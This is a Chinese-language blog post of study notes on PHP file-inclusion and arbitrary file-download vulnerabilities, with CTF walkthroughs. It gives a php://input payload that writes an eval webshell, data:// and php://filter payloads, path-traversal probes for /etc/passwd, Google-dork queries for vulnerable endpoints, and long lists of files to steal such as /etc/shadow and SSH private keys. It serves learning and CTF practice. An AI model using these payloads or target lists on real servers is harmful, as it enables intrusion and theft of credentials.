MENU

文件相关漏洞学习

March 14, 2022 • Read: 567 • Web

文件相关漏洞学习

文件包含

简介

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

作用

将文件以当前脚本的格式来执行

文件包含各个脚本代码

<!-- #include file="1.asp" -->
<!-- #include file="top.aspx" -->
<c:import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>
<?php Include<(test.php')?>

涉及到的危险函数

  • require()
  • require_once()
  • include()
  • include_once()

include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

漏洞成因

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

简单例子

如www目录下有一个文件1.txt,其内容为
2022-03-14-09-35-20.png
源码:

<?php
$filename=$_GET['x'];
include($filename);
?>

当以文件包含的方式去访问时,文件会以当前脚本即php去执行这个txt的文件内容,
2022-03-14-09-38-15.png

简单绕过

有限制的包含

<?php
$filename=$_GET['x'];
include($filename.".html");
?>
  • %00 截断 php小于5.3.4
  • 长度截断 ,Windows长于256 Linux长于4096
    2022-03-14-09-52-27.png

远程包含

  1. 查看是否开启远程包含参数allow_url_include,若没开启则在PHP.ini中开启
    2022-03-14-11-09-36.png
  2. 远程包含正常
    2022-03-14-11-14-17.png
  3. 远程包含一句话 将一句话写在服务器上,远程包含这个文件即可
    2022-03-14-11-23-45.png
  4. 若是遇到有限制的,则使用%23 %20 ?进行绕过
    2022-03-14-11-28-18.png

文件包含与伪协议联合

简介:
使用 "php://filter"伪协议" 来进行包含。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。其他伪协议同理,主要是把文件流当成了php代码执行

一些语言对应的伪协议
2022-03-14-13-32-12.png

php伪协议参考文章:https://www.cnblogs.com/endust/p/11804767.html
php常见常用的伪协议
可以看出,一般php://input data://比较严格
2022-03-14-13-33-17.png

file://

用于访问本地文件系统。当指定了一个相对路径(不以/、、或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。

用法:

1、file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
2、[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
php://

php:// 用于访问各个输入/输出流(I/O streams),经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
2022-03-14-13-54-49.png

php://input 用法:

http://127.0.0.1/include.php?file=php://input
post方式,参数
<?php phpinfo();?>


//写入shell
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

浏览器hackbar暂时出了点问题,只能用burp才有反应
2022-03-14-14-06-07.png

php://filter
2022-03-14-14-12-39.png
2022-03-14-14-13-11.png

php://filter常见用法

  1. 读取文件源码,一般使用base64编码去消除一些乱码问题
php://filter/read=convert.base64-encode/resource=[文件名]
http://192.168.123.129/wenjianbaohan.php?x=php://filter/read=convert.base64-encode/resource=1.txt 

2022-03-14-14-15-53.png

data://

数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
用法

1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
 
2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

几道CTF例题以及一个cms实操

南邮的一道题

  1. http://4.chinalover.sinaapp.com/web7/index.php
    点击后观察网页源代码,没什么发现,观察URL,发现像是使用了文件包含,于是直接访问/show.php发现成功访问。

2022-03-14-14-25-27.png

  1. 尝试使用php://input 执行命令查看当前目录下有什么文件
    访问http://4.chinalover.sinaapp.com/web7/index.phP,大小写敏感是Linux系统,发现不能执行,于是使用eval也不行。

2022-03-14-14-28-48.png

  1. 转变思路查看show.php的源码,发现没有,则查看index.php的源码,成功取得flag
    2022-03-14-14-31-15.png

i春秋的一道题

2022-03-14-15-02-05.png
2022-03-14-15-04-19.png

文件下载

简介:
由于业务需求,很多网站往往需要提供文件(附件)下载的功能块,但是如果对下载的文件没有做限制,直接通过绝对路径对其文件进行下载,那么,恶意用户就可以利用这种方式下载服务器的敏感文件,对服务器进行进一步的威胁和攻击。

危害:
通过任意文件下载,可以下载服务器的任意文件,web业务的代码,服务器和系统的具体配置信息,也可以下载数据库的配置信息,以及对内网的信息探测等等。

一般存在下载的地方都是有可能存在任意文件下载漏洞的

download.php?path=
download.php?file=
down.php?file=
data.php?file=
readfile.php?file=
read.php?filename=

buu上RoarCTF的一道题

测试一番发现有一个下载帮助文件的地方,随手测一下是什么语言写的,打开错误的发现是java编写的,应该是一个javaweb。
2022-03-14-18-27-46.png

开发过java的都知道,以下是一个javaweb的正常结构
2022-03-14-22-10-08.png

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

故这里可以尝试用任意文件下载,去下载WEB-INF/web.xml的一个配置文件
这里尝试使用get请求时下载不了的,需要更换姿势,采用post请求
2022-03-14-22-44-23.png

2022-03-14-22-42-50.png
得到配置文件后,发现有一个FlagController比较可疑,那么久直接down它的class文件,即servlet-class的路径,下载之后用idea打开即可看到源码flag值
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
2022-03-14-22-10-08.png

Google Hacking实操

从url来看

inurl : readfile.php?file=
inurl : download.php?file=

从参数名来看

&readpath=
&filepath=
&Path=
&inputfile=
&url=
&Lang=
&dis=
&data=
&readfile=
&menu=
META-INF=
WEB-INF

文件下载可利用文件

Windows

C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件

Linux

root/.ssh/authorized_keys如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去
/root/.ssh/id_rsa//ssh私钥,ssh公钥是id_rsa.pub
/root/.ssh/id_ras.keystore//记录每个访问计算机用户的公钥
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow//账户密码文件
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数

更详细的看文章末尾

一般的漏洞验证

xxx.php?f=../../../../../../etc/passwd

xxx.php?f=../index.php

xxx.php?f=file:///etc/passwd






/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/net/fib_trie
/proc/version
/proc/self/cmdline
/proc/self/stat
/proc/self/status
/proc/self/environ
/proc/verison
/proc/cmdline
/proc/self/cwd
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/fd/3
/proc/self/fd/4
/proc/self/fd/5
/proc/self/fd/6
/proc/self/fd/7
/proc/self/fd/8
/proc/self/fd/9
/proc/self/fd/10
/proc/self/fd/11
/proc/self/fd/12
/proc/self/fd/13
/proc/self/fd/14
/proc/self/fd/15
/proc/self/fd/16
/proc/self/fd/17
/proc/self/fd/18
/proc/self/fd/19
/proc/self/fd/20
/proc/self/fd/21
/proc/self/fd/22
/proc/self/fd/23
/proc/self/fd/24
/proc/self/fd/25
/proc/self/fd/26
/proc/self/fd/27
/proc/self/fd/28
/proc/self/fd/29
/proc/self/fd/30
/proc/self/fd/31
/proc/self/fd/32
/proc/self/fd/33
/proc/self/fd/34
/proc/self/fd/35
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/net/fib_trie
/proc/version
/etc/httpd/conf/httpd.conf
/etc/rc.local
/usr/local/apache/conf/httpd.conf
/var/www/html/apache/conf/httpd.conf
/home/httpd/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/httpd/conf/httpd.conf
/etc/apache/httpd.conf
/usr/local/lib/php.ini
/etc/hosts.deny
/etc/bashrc
/etc/group
/etc/httpd/httpd.conf
/etc/issue
/etc/issue/net
/etc/ssh/ssh_config
/etc/termcap
/etc/xinetd.d
/etc/mtab
/etc/vsftpd/vsftpd.conf
/etc/xinetd.conf
/etc/protocols
/etc/logrotate.conf
/etc/ld.so.conf
/etc/wgetrc
/etc/passwd
/etc/shadow
/etc/inputrc
/etc/resolv.conf
/etc/sysconfig/network
/etc/sendmail.cf
/etc/sendmail.cw
/usr/local/app/apache2/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
/usr/local/app/php5/lib/php.ini
/etc/sysconfig/iptables
/etc/rsyncd.conf
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/redhat-release
/var/spool/cron/crontabs/root
/root/.pgpass
/root/.psql_history
/etc/fstab
/etc/host.conf
/etc/motd
/etc/ld.so.conf
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/sysconfig/network-scripts/ifcfg-eth1
/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/init.d/httpd
/etc/init.d/mysql
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
Leave a Comment

本站总访问量 32683 次